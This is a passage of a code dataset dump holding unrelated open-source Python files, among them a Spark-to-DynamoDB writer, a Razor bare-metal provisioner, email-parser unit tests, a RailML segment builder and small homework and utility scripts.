ser.write(ACK.to_bytes(1,byteorder='big'))\n print(\"Sent ACK for disconn requst ACK\")\n else:\n print(\"No ACK received for disconnection request\")\n\n else:\n print(\"Received neither ACK nor NAK from Arduino\");\n","sub_path":"main/process_and_classify.py","file_name":"process_and_classify.py","file_ext":"py","file_size_in_byte":20298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"606608197","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\n# program.py\n\n# SciML-Bench\n# Copyright © 2021 Scientific Machine Learning Research Group\n# Scientific Computing Department, Rutherford Appleton Laboratory\n# Science and Technology Facilities Council, UK. \n# All rights reserved.\n\n\"\"\"\nProgram environment of sciml-bench, including\n* program config\n* register datasets and benchmarks\n\"\"\"\n\nimport yaml\nfrom pathlib import Path\n\n\nclass ProgramEnv:\n \"\"\" Class to initialize and store program environment \"\"\"\n\n def __init__(self, config_file_path, registration_file_path):\n # --------------\n # program config\n # --------------\n # read config\n with open(config_file_path) as handle:\n cfg = yaml.load(handle, yaml.SafeLoader)\n cfg = {} if cfg is None else cfg\n\n # dirs\n cfg_dirs = cfg['sciml_bench_dirs']\n self.dataset_root_dir = Path(cfg_dirs['dataset_root_dir']).expanduser()\n self.output_root_dir = Path(cfg_dirs['output_root_dir']).expanduser()\n\n # --------------------------------\n # register datasets and benchmarks\n # --------------------------------\n # read registration.yml\n with open(registration_file_path) as handle:\n reg = yaml.load(handle, yaml.SafeLoader)\n reg = {} if reg is None else reg\n\n # datasets\n self.registered_datasets = reg['datasets']\n\n # benchmarks\n # check dataset registration\n for key, prop in reg['benchmarks'].items():\n assert prop['dataset'] in self.registered_datasets.keys(), \\\n f\"Dataset of a benchmark is not registered.\" \\\n f\"\\nBenchmark name: {key}\" \\\n f\"\\nDataset name: {prop['dataset']}\\n\" \\\n f'Registered datasets: {list(self.registered_datasets.keys())}'\n self.registered_benchmarks = reg['benchmarks']\n","sub_path":"sciml_bench/core/program.py","file_name":"program.py","file_ext":"py","file_size_in_byte":1900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"585146240","text":"from math import pi\n\ndef GT2Pulley():\n \n \"\"\"\n This GT2 Pulley is based on a schematic profile found in: http://www.handsontec.com/dataspecs/gt2-belt-B.pdf\n Common appliances are small CNC machines like 3D printers.\n \"\"\"\n # Number of teeth desired\n nTeeth = int(input(\"How many teeth does your pulley needs?\"))\n # Belt teeth pitch\n pitch = float(input(\"What is the teeth pitch on the belt?\"))\n # Diameter of desired pulley\n pulleyDia = round( (nTeeth*pitch)/pi, 3)\n # Degrees per teeth\n deg4teeth = (360.0)/nTeeth\n # Belt teeth size\n bTeethSize = 1.38\n # Pulley teeth size\n pTeethSize = 0.75\n # Belt teeth circle radious\n bTeethR = (pulleyDia/2) - bTeethSize\n # Teeth circle radious\n pTeethR = (pulleyDia/2) - bTeethSize + pTeethSize\n # 2nd radious\n r2 = 0.4\n # 2nd curve Radious angle\n ang2ndteeth = ((deg4teeth)*r2)/pitch\n\n # Return needed values as a tuple to add to picture\n return (pulleyDia, deg4teeth, bTeethR, pTeethR, ang2ndteeth)","sub_path":"MechanicalPartsCalcs/mech_calculator.py","file_name":"mech_calculator.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"578879840","text":"\"\"\"\nRules for Define segments\nThis module is used to initiate the rules manipulations of rules related to segments\ncreation under rules manager component of RailMl to RBC route map conversion tool\n\n@copyright:\nAll rights reserved. ©2016. ALSTOM (Bangalore, India).\nThis computer program may not be used, copied, distributed, corrected,\nmodified, translated, transmitted or assigned without ALSTOM's prior\nwritten authorization.\n\n@date : 18th July 2016\n@author: Sanjay Kalshetty, Srikanth Reddy\n\"\"\"\n\nimport re\nfrom collections import OrderedDict\nimport collections\nfrom lxml import etree\nfrom itertools import groupby\nimport src.globals.globalds as globalds\n\n\nclass segments():\n \"\"\"\n This class to manage creation of segments using nodes and connector data generated in previous process\n \"\"\"\n\n @staticmethod\n def execute(rule_data, genparams, logger):\n nodes = globalds.nodes[:]\n nodes_sorted_by_track = segments.sort_by_track(nodes[:])\n group_sorted_nodes = segments.group_by_sorted_nodes(nodes_sorted_by_track)\n segments.create_segments(rule_data, genparams, group_sorted_nodes, logger)\n\n @staticmethod\n def sort_by_track(nodes):\n nodes_sorted_by_track = []\n temp_nodes = []\n sort_nodes = sorted([node[0].find(\"./trackRef\").text for node in nodes \\\n if node[0].find(\"./trackRef\") is not None])\n for node in sort_nodes:\n if node not in temp_nodes:\n temp_nodes.append(node)\n for item in temp_nodes:\n for node in nodes:\n if node[0].find(\"./trackRef\") is not None:\n if node[0].find(\"./trackRef\").text == item:\n nodes_sorted_by_track.append(node)\n return nodes_sorted_by_track\n\n @staticmethod\n def group_by_sorted_nodes(nodes):\n track_by_group = []\n total_track_groups = []\n track_by_group_2 = [list(j) for i, j in groupby(sorted([str(node[0].find(\"./trackRef\").text) for node in nodes \\\n if node[0].find(\"./trackRef\") is not None]))]\n\n print(track_by_group_2)\n\n for each_track_group in track_by_group_2:\n for each_node in nodes:\n if str(each_track_group[0]) == str(each_node[0].find(\"./trackRef\").text):\n track_by_group.append(each_node)\n continue\n else:\n if len(track_by_group) != 0:\n total_track_groups.append(track_by_group)\n track_by_group = []\n continue\n total_track_groups.append(track_by_group)\n return total_track_groups\n\n\n @staticmethod\n def sort_by_kilometric_point(nodes):\n nodes_sorted_by_kp = []\n temp_nodes = []\n sort_by_kp = sorted([node[0].find(\"./kilometric_point\").text for node in nodes \\\n if node[0].find(\"./kilometric_point\") is not None])\n for node in sort_by_kp:\n if node not in temp_nodes:\n temp_nodes.append(node)\n\n for item in temp_nodes:\n for node in nodes:\n if node[0].find(\"./kilometric_point\") is not None:\n if node[0].find(\"./kilometric_point\").text == item:\n nodes_sorted_by_kp.append(node)\n return sort_by_kp, nodes_sorted_by_kp\n\n\n @staticmethod\n def create_segments(rule_data, genparams, nodes, logger):\n for each_track in nodes:\n used_nodes_list = []\n kp_values, nodes_sorted_by_kp = segments.sort_by_kilometric_point(each_track)\n same_kp_more_than_two_nodes = [item for item, count in collections.Counter(kp_values).items() if count > 2]\n if len(same_kp_more_than_two_nodes) > 0: # Not more than two nodes should have same kilometric point\n params = list()\n params.append(\",due to same kilometric point for more than two nodes, Track = %s\" %nodes_sorted_by_kp[0][0].find(\"./trackRef\").text)\n logger.log_warning(\"WARN_SEGMENT_CREATION_ABORT\", params)\n\n for i in range(0, len(nodes_sorted_by_kp), 2):\n if len(nodes_sorted_by_kp[i:]) % 2 == 0:\n for used_node in used_nodes_list:\n if id(nodes_sorted_by_kp[i]) == id(used_node) or id(nodes_sorted_by_kp[i+1]) == id(used_node):\n # print(\"Error: node is used more than once as normal node or reverse node of a segment in track %s\" %str(nodes_sorted_by_kp[i][0].find(\"./trackRef\").text))\n params = list()\n params.append(\",a node is used more than once as normal node or reverse node of a segment in track %s\" %str(nodes_sorted_by_kp[i][0].find(\"./trackRef\").text))\n logger.log_warning(\"WARN_SEGMENT_CREATION\", params)\n\n break\n globalds.nodes.append(segments.create_segment(rule_data, genparams, (nodes_sorted_by_kp[i],nodes_sorted_by_kp[i+1])))\n used_nodes_list.extend([nodes_sorted_by_kp[i], nodes_sorted_by_kp[i + 1]])\n if nodes_sorted_by_kp != used_nodes_list:\n # print(\"Error: Few nodes are never used as normal node or reverse node in a segment in track %s\" %str(\n # nodes_sorted_by_kp[i][0].find(\"./trackRef\").text))\n params = list()\n params.append(\n \",a node at track = %s never used as normal node or reverse node in a segment creation\" %str(\n nodes_sorted_by_kp[i][0].find(\"./trackRef\").text))\n logger.log_warning(\"WARN_SEGMENT_CREATION\", params)\n\n @staticmethod\n def create_segment(rule_data, genparams, nodes):\n output_element_nodes = rule_data[0][1][0]['segment'][0].split(\"|\")\n output_xpath = rule_data[0][1][0]['segment'][1]\n root_element = output_xpath.split(\"/\")[-1]\n root_node = etree.Element(root_element)\n segment = etree.SubElement(root_node, 'segment')\n segment_id = etree.SubElement(segment, output_element_nodes[0])\n rev_dir_nod_id = str(nodes[0][0].find(\"./id\").text).replace(\"nod\",\"\")\n last_underscore = rev_dir_nod_id.rfind(\"_\")\n if last_underscore != -1:\n rev_dir_nod_id = rev_dir_nod_id[:last_underscore]\n norm_dir_nod_id = str(nodes[1][0].find(\"./id\").text).replace(\"nod\",\"\")\n last_underscore1 = norm_dir_nod_id.rfind(\"_\")\n if last_underscore1 != -1:\n norm_dir_nod_id = norm_dir_nod_id[:last_underscore1]\n segment_id.text = 'seg' + rev_dir_nod_id + \"_\" + norm_dir_nod_id\n segment_length = etree.SubElement(segment, output_element_nodes[1])\n segment_length.text = str(int(nodes[1][0].find(\"./kilometric_point\").text) - int(nodes[0][0].find(\"./kilometric_point\").text))\n segment_norm_dir_nod_id = etree.SubElement(segment, output_element_nodes[2])\n segment_norm_dir_nod_id.text = nodes[1][0].find(\"./id\").text\n segment_rev_dir_node_id = etree.SubElement(segment, output_element_nodes[3])\n segment_rev_dir_node_id.text = nodes[0][0].find(\"./id\").text\n segment_validity_status = etree.SubElement(segment, output_element_nodes[4])\n segment_validity_status.text = genparams['validityStatus']\n return segment, root_node, output_xpath","sub_path":"src/rules_manager/rules_to_define_segments.py","file_name":"rules_to_define_segments.py","file_ext":"py","file_size_in_byte":7464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"283588908","text":"#!/usr/bin/python\n \nfrom __future__ import print_function\nfrom pyspark.sql.session import SparkSession\nfrom pyspark.sql.types import StructField,StringType,StructType,BooleanType\nfrom pyspark.sql.functions import count, avg\nimport boto3\nimport json\n \nclass DynamoWriter:\n \"\"\"\n Initialize class with parameters provided by the caller\n aws_region=\n ddb_table_name=\n overwrite_by_pkeys=\n \"\"\"\n def __init__(self, aws_region, ddb_table_name, overwrite_by_pkeys, repartition_count):\n self.__aws_region = aws_region\n self.__ddb_table_name = ddb_table_name\n self.__overwrite_by_pkeys = overwrite_by_pkeys\n self.__repartition_count = repartition_count\n \n \n def __batch_ddb_writer(self, iterator):\n # Get DynamoDB table name\n ddb = boto3.resource('dynamodb', region_name = self.__aws_region)\n table = ddb.Table(self.__ddb_table_name)\n for x in iterator:\n # Get the record value from the spark.sql.Row() type\n record_json = json.loads(x.__getitem__('_1'))\n # with table.batch_writer() as batch:\n with table.batch_writer(overwrite_by_pkeys=self.__overwrite_by_pkeys) as batch:\n batch.put_item( Item = record_json )\n return iterator\n \"\"\"\n Takes dataframe as an input.\n If successful then returns 200 or 400\n \"\"\"\n def ddb_writer(self, df):\n df = df.repartition(self.__repartition_count)\n df=df.toJSON().map(lambda x: (x, )).toDF()\n res=df.rdd.mapPartitions(self.__batch_ddb_writer).collect()\n if len(res) == 0:\n return 200\n else:\n return 400\n \nif __name__ == \"__main__\":\n # build spark session\n aws_region = 'us-west-2'\n ddb_table_name = 'test_table_big' \n overwrite_by_pkeys = ['emplid']\n repartition_count = 50\n # get data to spark \n spark = SparkSession.builder.appName('test_data').getOrCreate()\n df = spark.read.format(\"csv\").option(\"header\", \"True\").load(\"s3://sundeep-lifecycle-policies/input-data/*\")\n ddb = DynamoWriter(aws_region, ddb_table_name, overwrite_by_pkeys, repartition_count)\n ddb.ddb_writer(df)\n","sub_path":"DynamoDB/spark-load/spark-dynamo-writer.py","file_name":"spark-dynamo-writer.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"174641666","text":"from unittest import TestCase\nfrom unittest.mock import MagicMock, patch\nimport json\n\nfrom email_parser import placeholder, fs, cmd\n\n\nclass TestGenerator(TestCase):\n\n def setUp(self):\n settings = cmd.default_settings()._asdict()\n settings['source'] = 'test_src'\n settings['pattern'] = 'test_pattern'\n self.settings = cmd.Settings(**settings)\n\n @patch('email_parser.placeholder.fs')\n def test_happy_path(self, mock_fs):\n mock_fs.emails.return_value = [fs.Email('test_name', 'en', 'path', 'full_path')]\n mock_fs.read_file.return_value = '{{placeholder}}'\n\n placeholder.generate_config(self.settings, None)\n\n mock_fs.save_file.assert_called_with(\n '{\"test_name\": {\"placeholder\": 1}}', 'test_src', 'placeholders_config.json')\n\n @patch('email_parser.placeholder.fs')\n def test_no_emails(self, mock_fs):\n mock_fs.emails.return_value = []\n mock_fs.read_file.return_value = '{{placeholder}}'\n\n placeholder.generate_config(self.settings)\n\n self.assertFalse(mock_fs.save_file.called)\n\n @patch('email_parser.placeholder.fs')\n def test_use_default_language_to_count_placeholders(self, mock_fs):\n mock_fs.emails.return_value = [\n fs.Email('test_name', 'en', 'path', 'full_path'),\n fs.Email('test_name', 'de', 'path', 'full_path')\n ]\n mock_fs.read_file.side_effect = iter(['{{placeholder}}', '{{placeholder}}{{extra_placeholder}}'])\n\n placeholder.generate_config(self.settings, None)\n\n mock_fs.save_file.assert_called_with(\n '{\"test_name\": {\"placeholder\": 1}}', 'test_src', 'placeholders_config.json')\n\n\nclass TestValidate(TestCase):\n\n def setUp(self):\n self.email = fs.Email('test_name', 'en', 'path', 'full_path')\n self.placeholders = json.dumps({'test_name': {'test_placeholder': 1}})\n self.content = '{{test_placeholder}}'\n placeholder._read_placeholders_file.cache_clear()\n\n @patch('email_parser.placeholder.fs')\n def test_happy_path(self, mock_fs):\n mock_fs.read_file.side_effect = iter([self.placeholders, self.content])\n\n actual = placeholder.validate_email(self.email)\n\n self.assertTrue(actual)\n\n @patch('email_parser.placeholder.fs')\n def test_missing_placeholder(self, mock_fs):\n content = 'content'\n mock_fs.read_file.side_effect = iter([self.placeholders, content])\n\n actual = placeholder.validate_email(self.email)\n\n self.assertFalse(actual)\n\n @patch('email_parser.placeholder.fs')\n def test_extra_placeholder(self, mock_fs):\n placeholders = json.dumps({'test_name': {}})\n mock_fs.read_file.side_effect = iter([placeholders, self.content])\n\n actual = placeholder.validate_email(self.email)\n\n self.assertFalse(actual)\n\n\nclass TestFromEmailName(TestCase):\n\n def setUp(self):\n self.placeholders = json.dumps({'test_name': {\n 'test_placeholder': 1,\n 'another': 1\n },\n 'without_placeholders': {}\n })\n placeholder.fs.read_file = MagicMock(return_value=self.placeholders)\n\n def test_placeholder_list_for_given_email_name(self):\n expected = ['another', 'test_placeholder']\n\n result = placeholder.from_email_name('test_name')\n result.sort()\n\n self.assertEqual(expected, result)\n\n def test_placeholder_list_for_email_without_them(self):\n expected = []\n\n result = placeholder.from_email_name('without_placeholders')\n self.assertEqual(expected, result)\n\n def test_placeholder_list_for_non_existing_email(self):\n expected = []\n\n result = placeholder.from_email_name('to_be_or_not_to_be')\n self.assertEqual(expected, result)\n","sub_path":"tests/test_placeholder.py","file_name":"test_placeholder.py","file_ext":"py","file_size_in_byte":3764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"286875509","text":"# Задача-1:\n# Напишите скрипт, создающий директории dir_1 - dir_9 в папке,\n# из которой запущен данный скрипт.\n# И второй скрипт, удаляющий эти папки.\n\nimport sys\nimport os\n\nos.system(\"mkdir ./dir_{1..9}\")\nos.system(\"rm -rf ./dir_{1..9}\")\n\n# Задача-2:\n# Напишите скрипт, отображающий папки текущей директории.\n\nos.system(\"ls -d */\")\n\n# Задача-3:\n# Напишите скрипт, создающий копию файла, из которого запущен данный скрипт.\n\nos.system(\"cp \" + sys.argv[0] + \" \" + sys.argv[0] + \"_copy\")\n\n\ndef change_directory(d):\n try:\n os.chdir(d)\n except FileNotFoundError:\n print(\"Невозможно перейти\")\n\n\ndef show_current_directory():\n for element in os.listdir(os.getcwd()):\n print(element)\n\n\ndef remove_directory(d):\n try:\n os.removedirs(d)\n except FileNotFoundError:\n print(\"Невозможно удалить\")\n\n\ndef create_directory(d):\n try:\n os.mkdir(d)\n except FileExistsError:\n print(\"Невозможно создать\")","sub_path":"lesson05/home_work/hw05_easy.py","file_name":"hw05_easy.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"254815840","text":"import sys\nimport json\nimport requests\n\nfrom time import sleep\nfrom provisioner import Provisioner\nfrom chef import Node, Client, Search, autoconfigure\n\nfrom monster import util\n\n\nclass Razor2(Provisioner):\n \"\"\"\n Provisions chef nodes in a Razor environment\n \"\"\"\n\n def __init__(self, url=None):\n self.url = url or util.config['secrets']['razor']['url']\n self.api = RazorAPI2(self.url)\n\n def provision(self, template, deployment):\n \"\"\"\n Provisions a ChefNode using Razor environment\n :param template: template for cluster\n :type template: dict\n :param deployment: ChefDeployment to provision for\n :type deployment: ChefDeployment\n :rtype: list\n \"\"\"\n\n util.logger.info(\"Provisioning with Razor!\")\n image = deployment.os_name\n return [self.available_node(image, deployment)\n for _ in template['nodes']]\n\n def available_node(self, image, deployment):\n \"\"\"\n Provides a free node from chef pool\n :param image: name of os image\n :type image: string\n :param deployment: ChefDeployment to add node to\n :type deployment: ChefDeployment\n :rtype: ChefNode\n \"\"\"\n\n # TODO: Should probably search on system name node attributes\n # Avoid specific naming of razor nodes, not portable\n nodes = self.node_search(\"name:node*\")\n for node in nodes:\n is_default = node.chef_environment == \"_default\"\n iface_in_run_list = \"recipe[rcbops-qa]\" in node.run_list\n if (is_default and iface_in_run_list):\n node.chef_environment = deployment.environment.name\n node['in_use'] = \"provisioning\"\n node.save()\n return node\n deployment.destroy()\n util.logger.info(\"Cannot build, no more available_nodes\")\n sys.exit(1)\n\n def power_down(self, node):\n if node.feature_in('controller'):\n # rabbit can cause the node to not actually reboot\n kill = (\"for i in `ps -U rabbitmq | tail -n +2 | \"\n \"awk '{print $1}' `; do kill -9 $i; done\")\n node.run_cmd(kill)\n node.run_cmd(\"shutdown -r now\")\n\n def power_up(self, node):\n pass\n\n def destroy_node(self, node):\n \"\"\"\n Destroys a node provisioned by razor\n :param node: Node to destroy\n :type node: ChefNode\n \"\"\"\n cnode = Node(node.name, node.environment.local_api)\n in_use = node['in_use']\n if in_use == \"provisioning\" or in_use == 0:\n # Return to pool if the node is clean\n cnode['in_use'] = 0\n cnode['archive'] = {}\n cnode.chef_environment = \"_default\"\n cnode.save()\n else:\n # Reinstall node if the node is dirty\n razor_node = cnode.name.split(\"-\")[0]\n try:\n if node.feature_in('controller'):\n # rabbit can cause the node to not actually reboot\n kill = (\"for i in `ps -U rabbitmq | tail -n +2 | \"\n \"awk '{print $1}' `; do kill -9 $i; done\")\n node.run_cmd(kill)\n node.run_cmd(\"shutdown -r now\")\n self.api.reinstall_node(razor_node)\n Client(node.name).delete()\n cnode.delete()\n except:\n util.logger.error(\"Node unreachable. \"\n \"Manual restart required:{0}\".\n format(str(node)))\n\n @classmethod\n def node_search(cls, query, environment=None, tries=10):\n \"\"\"\n Performs a node search query on the chef server\n :param query: search query to request\n :type query: string\n :param environment: Environment the query should be\n :type environment: ChefEnvironment\n :rtype: Iterator (chef.Node)\n \"\"\"\n api = autoconfigure()\n if environment:\n api = environment.local_api\n search = None\n while not search and tries > 0:\n search = Search(\"node\", api=api).query(query)\n sleep(10)\n tries = tries - 1\n return (n.object for n in search)\n\n\nclass RazorAPI2(object):\n\n def __init__(self, url=None):\n \"\"\"\n Initilizer for RazorAPI class\n \"\"\"\n\n self.url = \"{0}\".format(url)\n\n def __repr__(self):\n \"\"\"\n Print out current instnace of RazorAPI\n \"\"\"\n\n outl = 'class: {0}'.format(self.__class__.__name__)\n for attr in self.__dict__:\n outl += '\\n\\t{0}:{1}'.format(attr, str(getattr(self, attr)))\n return outl\n\n def nodes(self):\n \"\"\"\n Return all current nodes\n \"\"\"\n # Call the Razor RESTful API to get a list of nodes\n headers = {'content-type': 'application/json'}\n r = requests.get(\n '{0}/collections/nodes'.format(self.url), headers=headers)\n\n # Check the status code and return appropriately\n if r.status_code == 200:\n return json.loads(r.content)\n else:\n return 'Error: exited with status code: {0}'.format(\n str(r.status_code))\n\n def node(self, node):\n \"\"\"\n Return a given node\n \"\"\"\n\n # Call the Razor RESTful API to get a node\n headers = {'content-type': 'application/json'}\n r = requests.get('{0}/collections/nodes/{1}'.format(\n self.url, node), headers=headers)\n\n # Check the status code and return appropriately\n if r.status_code == 200:\n return json.loads(r.content)\n else:\n return 'Error: exited with status code: {0}'.format(\n str(r.status_code))\n\n def reinstall_node(self, node):\n \"\"\"\n Reinstalls a given node\n :param node: Razor node name to reinstall\n :type node: string\n \"\"\"\n\n # Call the Razor RESTful API to get a node\n headers = {'content-type': 'application/json'}\n data = '{{\"name\": \"{0}\"}}'.format(node)\n r = requests.post('{0}/commands/reinstall-node'.format(self.url),\n headers=headers, data=data)\n\n # Check the status code and return appropriately\n if r.status_code == 202 and 'no changes' not in r.content:\n return json.loads(r.content)\n else:\n return 'Error: exited with status code: {0}'.format(\n str(r.status_code))\n\n def delete_node(self, node):\n \"\"\"\n Deletes a given node\n :param node: Razor node name to destroy\n :type node: string\n \"\"\"\n\n # Call the Razor RESTful API to get a node\n headers = {'content-type': 'application/json'}\n data = '{{\"name\": \"{0}\"}}'.format(node)\n r = requests.post('{0}/commands/delete-node'.format(self.url),\n headers=headers, data=data)\n\n # Check the status code and return appropriately\n if r.status_code == 202 and 'no changes' not in r.content:\n return json.loads(r.content)\n else:\n return 'Error: exited with status code: {0}'.format(\n str(r.status_code))\n","sub_path":"monster/provisioners/razor2.py","file_name":"razor2.py","file_ext":"py","file_size_in_byte":7248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"404744694","text":"import sys\nfrom PyQt5.QtWidgets import QMainWindow,QApplication\nfrom PyQt5.QtGui import QIcon\n\n\nclass FirstWindow(QMainWindow):\n '''\n inhrent QMainWindow\n '''\n def __init__(self):\n super(FirstWindow,self).__init__()\n # set window title\n self.setWindowTitle('My first main window!')\n # set window size\n self.resize(400,300)\n # get statuBar\n self.statue = self.statusBar()\n # show the message lasting 5 s\n self.statue.showMessage('This wil last 5 s!',5000)\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n app.setWindowIcon(QIcon('../images/Dragon.ico'))\n # Instantiation class\n main = FirstWindow()\n main.show()\n sys.exit(app.exec_())","sub_path":"p023/main_win.py","file_name":"main_win.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"277272773","text":"import json\nimport logging\nfrom time import sleep\n\nimport requests\n\nfrom libsaas import http\nfrom . import base\n\ntry:\n import queue as Queue\nexcept:\n import Queue\n\n__all__ = [\"requests_executor\"]\n\nlogger = logging.getLogger(\"libsaas.executor.requests_executor\")\n\nURLENCODE_METHODS = (\"GET\", \"HEAD\", \"OPTIONS\")\n\nRETRIES_NUMBER = 3\n\n\ndef requests_executor(request, parser):\n \"\"\"\n An executor using the requests module.\n \"\"\"\n logger.info(\"requesting %r\", request)\n\n # assert We working with the right object\n assert isinstance(request, http.Request)\n\n kwargs = {\n \"method\": request.method,\n \"url\": request.uri,\n \"headers\": request.headers,\n \"files\": request.files,\n }\n\n if request.params:\n if request.method.upper() in URLENCODE_METHODS:\n kwargs[\"params\"] = request.params\n else:\n kwargs[\"data\"] = request.params\n if request.files:\n kwargs[\"data\"] = json.loads(request.params)\n kwargs.pop(\"headers\", None)\n\n try:\n resp = requests.request(**kwargs)\n except:\n if request.retries > RETRIES_NUMBER:\n log.exception(\n \"Error processing request %s all retries failed\", kwargs.get(\"url\")\n )\n raise\n\n request.retries += 1\n return requests_executor(request, parser)\n\n # Throttle Limit Reached.\n if resp.status_code == 429:\n sec_to_wait = int(resp.headers.get(\"Retry-After\", 0))\n sleep(sec_to_wait or 0.1)\n\n # Retrying the same request again.\n return requests_executor(request, parser)\n\n try:\n if not 200 <= resp.status_code < 300 and request.retries == RETRIES_NUMBER:\n resp.raise_for_status()\n except:\n if request.retries > RETRIES_NUMBER:\n log.exception(\n \"Error processing request %s all retries failed\", kwargs.get(\"url\")\n )\n raise\n\n request.retries += 1\n return requests_executor(request, parser)\n\n if resp.status_code >= 500 and request.retries < RETRIES_NUMBER:\n request.retries += 1\n return requests_executor(request, parser)\n\n logger.debug(\n \"response code: %r, body: %r, headers: %r\",\n resp.status_code,\n resp.content,\n resp.headers,\n )\n\n return parser(resp.content, resp.status_code, resp.headers)\n\n\nextra_params = {\"extra\": {}}\n\n\ndef use(**extra):\n base.use_executor(requests_executor)\n extra_params[\"extra\"] = extra\n","sub_path":"libsaas/executors/requests_executor.py","file_name":"requests_executor.py","file_ext":"py","file_size_in_byte":2523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"327450366","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCifar0 verisetini klasörlere dagit8\r\n\"\"\"\r\n\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport os\r\nfrom keras.datasets import cifar10\r\n(x_train, y_train), (x_test, y_test) = cifar10.load_data()\r\n\r\nos.mkdir('dataset')\r\nos.mkdir('dataset\\\\train')\r\nos.mkdir('dataset\\\\test')\r\n\r\nfor i in range(10):\r\n path=os.path.join('dataset\\\\train',str(i))\r\n os.mkdir(path)\r\n path=os.path.join('dataset\\\\test',str(i))\r\n os.mkdir(path)\r\n\r\nimport matplotlib.pyplot as plt\r\nfor i in range(50000):\r\n path='dataset/train/'+str(int(y_train[i]))+'/'+str(i)+'.png' \r\n plt.imsave(path,x_train[i])\r\n \r\nfor i in range(10000):\r\n path='dataset/test/'+str(int(y_test[i]))+'/'+str(i)+'.png' \r\n plt.imsave(path,x_test[i])\r\n\r\n ","sub_path":"SAU Derleyici Tasarımı/1/1/h9/verisetini_olustur.py","file_name":"verisetini_olustur.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"400658308","text":"from django.urls import reverse\n\nfrom service_catalog.models import GlobalHook\nfrom tests.test_service_catalog.base import BaseTest\n\n\nclass GlobalHookDeleteViewsTest(BaseTest):\n\n def setUp(self):\n super(GlobalHookDeleteViewsTest, self).setUp()\n self.global_hook_test = GlobalHook.objects.create(name=\"hook1\",\n model=\"Instance\",\n state=\"PROVISIONING\",\n job_template=self.job_template_test)\n args = {\n \"global_hook_id\": self.global_hook_test.id\n }\n self.url = reverse('service_catalog:global_hook_delete', kwargs=args)\n\n def test_can_delete_global_hook(self):\n response = self.client.get(self.url)\n self.assertEquals(200, response.status_code)\n\n id_to_delete = self.global_hook_test.id\n response = self.client.post(self.url)\n self.assertEquals(302, response.status_code)\n self.assertFalse(GlobalHook.objects.filter(id=id_to_delete).exists())\n\n def test_cannot_delete_global_hook_when_logout(self):\n self.client.logout()\n response = self.client.get(self.url)\n self.assertEquals(302, response.status_code)\n","sub_path":"tests/test_service_catalog/test_views/test_admin/test_settings/test_global_hooks/test_delete.py","file_name":"test_delete.py","file_ext":"py","file_size_in_byte":1291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"360741277","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: Meziane AITE, meziane.aite@inria.fr\nDescription:\nTwo disctinct usages:\n change_compart.py --padmetSpec=FILE --compart=STR --output=FILE [-v]\nFor a given compartment to check return a file with all metabolites in it\nThen, to change the compartment of one or more metabolites, modify the precedent output\nby changing the compartment.\nex: output line: M_icit_x\tx\nM_icit_x is in compart x. to change the compart to 'c' for example, edit 'x' to 'c'.\nFinally use the second usages to update the model.\n change_compart.py --padmetSpec=FILE --updateFile=FILE [--new_padmet=FILE] [-v]\nNB: the metabolite id also change: M_icit_x => M_icit_c\n\nusage:\n change_compart.py --padmetSpec=FILE --compart=STR --output=FILE [-v]\n change_compart.py --padmetSpec=FILE --updateFile=FILE [--new_padmet=FILE] [-v]\n\noptions:\n -h --help Show help.\n --padmetSpec=FILE padmetSpec file to update from updateFile\n --compart=STR the compartment id to check\n --output=FILE tsv file with col 1 = compounds ids, col 2 = the current compartment\n --updateFile=FILE correspond to the output after modifications of col 2\n --new_padmet=FILE new padmet name if None, will erase the current\n -v print info\n\"\"\"\nfrom lib.padmetSpec import PadmetSpec\ntry:\n import docopt\nexcept ImportError:\n print(\"package docopt needed, use this cmd:\\n pip install \"\n + \"docopt\")\n exit()\n\ndef main():\n #parsing args\n args = docopt.docopt(__doc__)\n padmetSpec_file = args[\"--padmetSpec\"]\n compart = args[\"--compart\"]\n updateFile = args[\"--updateFile\"]\n output = args[\"--output\"]\n verbose = args[\"-v\"]\n new_padmet = args[\"--new_padmet\"]\n if new_padmet is None:\n new_padmet = args[\"--padmetSpec\"]\n padmetSpec = PadmetSpec(padmetSpec_file)\n\n #create the file with compounds ids and the current compartment corresponding to 'compart' \n if updateFile is None:\n compounds = [node.getId() for node in padmetSpec.getDicOfNode().values()\n if node.getClass() == \"compound\" and node.getMisc()[\"COMPARTMENT\"][0] == compart]\n fileInArray = [cpd+\"\\t\"+compart for cpd in compounds]\n with open(output, 'w') as f:\n f.write(\"\\n\".join(fileInArray)) \n #if updateFile is not None, use it to update compartments\n else:\n update_dict = {}\n with open(updateFile,'r') as f:\n data = [line.split(\"\\t\") for line in f.read().splitlines()]\n for compound_id, compart in data:\n new_compound_id = compound_id[:-1]+compart\n if compound_id != new_compound_id:\n update_dict.update({compound_id:new_compound_id})\n #change node id and compartment value\n compound_node = padmetSpec.getDicOfNode()[compound_id]\n compound_node.misc.update({\"COMPARTMENT\":compart})\n padmetSpec.dicOfNode.update({new_compound_id:compound_node})\n padmetSpec.dicOfNode.pop(compound_id)\n 